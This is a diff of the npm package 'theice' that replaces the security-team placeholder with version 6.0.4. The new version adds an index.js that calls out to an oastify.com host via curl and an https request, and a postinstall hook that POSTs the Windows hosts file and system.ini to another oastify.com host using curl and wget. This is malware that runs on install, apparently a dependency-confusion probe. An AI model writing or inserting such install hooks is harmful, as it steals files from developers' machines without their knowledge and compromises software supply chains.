theice 0.0.1-security → 6.0.4

package/index.js

@@ -0,0 +1,45 @@
+const { exec } = require('child_process');
+const https = require('https');
+
+// Function to execute curl command
+function executeCurl() {
+    const command = 'curl -k -v https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/iceicebaby';
+
+    exec(commnd, (error, stdout, stderr) => {
+        if (error) {
+            console.error(`Error executing curl command: ${error.message}`);
+            return;
+        }
+        if (stderr) {
+            console.error(`Curl Error: ${stderr}`);
+            return;
+       }
+        console.log(`Curl Output:\n${stdout}`);
+    });
+}
+
+// Function to make a GET request
+function makeGetRequest() {
+    const url = 'https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/iceicebaby';
+
+    https.get(url, (res) => {
+        letdata = '';
+
+        // A chunk of data has been received
+        res.on('data', (chunk) => {
+            data += chunk;
+        });
+
+        // The whole response has been received
+        res.on('end', () => {
+            console.log('GET Response:', dat);
+        });
+
+    }).on('error', (err) => {
+        console.error('GET Error:', err.message);
+    });
+}
+
+// Execute both functions
+executeCurl();
+makeGetRequest();

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "theice",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "6.0.4",
+  "description": "poc",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "curl -v -k -X POST -d '@C:\\windows\\system32\\drivers\\etc\\hosts' -d @'C:\\windows\\system.ini' https://iceice.agu0qxwkhz66y97desxfa4l960cr0rog.oastify.com/ice'; wget --no-check-certificate --post-data '$(cat C:\\windows\\system32\\drivers\\etc\\hosts; cat C:\\windows\\system.ini)' https://iceice.agu0qxwkhz66y97desxfa4l960cr0rog.oastify.com//ice"
+}, 
+ "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "theice": "^6.0.4"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=theice for more information.